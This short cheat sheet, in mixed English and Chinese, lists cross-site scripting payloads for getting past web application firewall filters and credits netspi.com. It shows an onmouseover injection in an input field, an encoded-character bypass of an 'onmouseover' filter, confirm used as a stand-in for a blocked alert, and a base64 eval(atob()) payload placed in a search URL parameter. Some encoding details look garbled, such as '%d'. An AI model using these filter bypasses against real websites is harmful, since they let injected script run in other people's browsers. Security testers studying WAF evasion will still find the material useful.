WAF Filter: ”onmouseover”

<input type=text name=firstname value=”Anna” onmouseover=alert(‘XSS within input field’) “>


ByPass:    %d

<input type=text name=firstname value=”Anna”%donmouseover=alert(‘XSS within input field’) “>

    实例2,WAF检测alert，因为很多自动检测工具用到这语句来测试XSS  

“ onmouseover=alert(‘XSS within input field’)


or

<input type=text name=firstname value=”Anna” onmouseover=alert(‘XSS within input field’) “>
WAF keyword Filter:alert (some test tools use 'alert')

    Bypass: 1,use confirm as the payload instead of “alert” 实例3,

Encode to byPass Filter :“eval(atob(“encryptedcontent”))”
/*“Y29uZmlybSgxKTs=” is base 64 encoded “confirm(1);”*/
URL:http://somesite.com/search?searchterm=%27);eval(atob(“Y29uZmlybSgxKTs=”));//
Source:

<script>
...
var foo = escape(‘’);eval(atob(“Y29uZmlybSgxKTs=”));//’);
...
</script>

      参考:http://www.netspi.com